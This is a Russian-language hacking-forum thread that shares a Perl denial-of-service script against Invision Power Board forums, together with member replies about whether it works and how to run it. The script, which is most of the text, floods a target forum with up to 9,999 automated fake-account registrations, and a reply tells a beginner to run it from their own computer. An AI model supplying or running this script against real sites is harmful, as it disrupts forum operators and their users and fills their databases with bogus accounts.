Форум АНТИЧАТ - Сплоит для IPB <= 2.1.4 DOS

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)

- Форумы (https://forum.antichat.xyz/forumdisplay.php?f=16)

- - Сплоит для IPB <= 2.1.4 DOS (https://forum.antichat.xyz/showthread.php?t=14753)

Сплоит для IPB <= 2.1.4 DOS

Нашел недавно, проверял на 2.1.4 работает отлично!

Код:

#!/usr/bin/perl

use IO::Socket;

##########################################################

## _______ _______ ______ #

## |______ |______ | \ #

## ______| |______ |_____/ #

## #

##IPB Register Multiple Users Denial of Service #

##Doesn't Work on forums using "Code Confirmation" #

##Created By SkOd #

##SED security Team #

##http://www.sed-team.be #

##skod.uk@gmail.com #

##ISRAEL #

##########################################################



print q{

############################################################

# Invision Power Board Multiple Users DOS #

#Tested on IPB 2.0.1 #

# created By SkOd. SED Security Team #

############################################################

};

$rand=rand(10);

print "Forum Host: ";

$serv = <stdin>;

chop ($serv);

print "Forum Path: ";

$path = <stdin>;

chop ($path);

for ($i=0; $i<9999; $i++)

{

$name="sedXPL_".$rand.$i;

$data = "act=Reg&CODE=02&coppa_user=0&UserName=".$name."&PassWord=sedbotbeta&PassWord_Check=sed botbeta&EmailAddress=".$name."\@host.com&EmailAddress_two=".$name."\@host.com&allow_admin_mail=1 &allow_member_mail=1&day=11&month=11&year=1985&agree=1";

$len = length $data;

$get1 = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "80") || die "Cennot Connect Host, it's can be beacuse the host dosed";

print $get1 "POST ".$path."index.php HTTP/1.0\n";

print $get1 "Host: ".$serv."\n";

print $get1 "Content-Type: application/x-www-form-urlencoded\n";

print $get1 "Content-Length: ".$len."\n\n";

print $get1 $data;

syswrite STDOUT, "+";

}

print "Forum shuld be Dosed. Check it out...\n";

Кто ещё проверял?

Ну я эт скрипт недельки 2 назад юзал, тока чегото у меня ничего не сработало. Т.е скрипт то работает - плюсики там идут - но в конце пишет что типа хост в ДоСе - но нифга он не в Досе - работает как и работал. Может ошибочка есть?

for ($i=0; $i<9999; $i++) - что это? :D

Объясните, что скрипт вооще делает, что значит Dosed :rooleyes: ?.. Только не бейте :(...

Цитата:

Сообщение от tester

for ($i=0; $i<9999; $i++) - что это? :D

Цыкл который будет выполнятся до 9999 а вобще хз!

IPB Register Multiple Users Denial of Service
Doesn't Work on forums using "Code Confirmation"
Эти всё сказано. А вообще он пытается многократно зарегистрировать новых пользователей, DOS получается только в том случае, если на форуме не стоит бот-защита при регистрации(ввод случайной комбинации букв и цифр). А если бот-защита включена, то он сильно тормозит работу форума.

Dos - многократное обращение к серверу, что в итоге приводит его к ауту.
Столько пользователей и регистрирутеся для этого.

а как его заливать? знаю что index.php? и что то там =)

не куда ничего заливать не нужно, устанавливаешь active perl или чтото наподобие, и запускаешь со своей тачки... хотя можно и по другому, но в твоём случае я думаю нужен первый вариант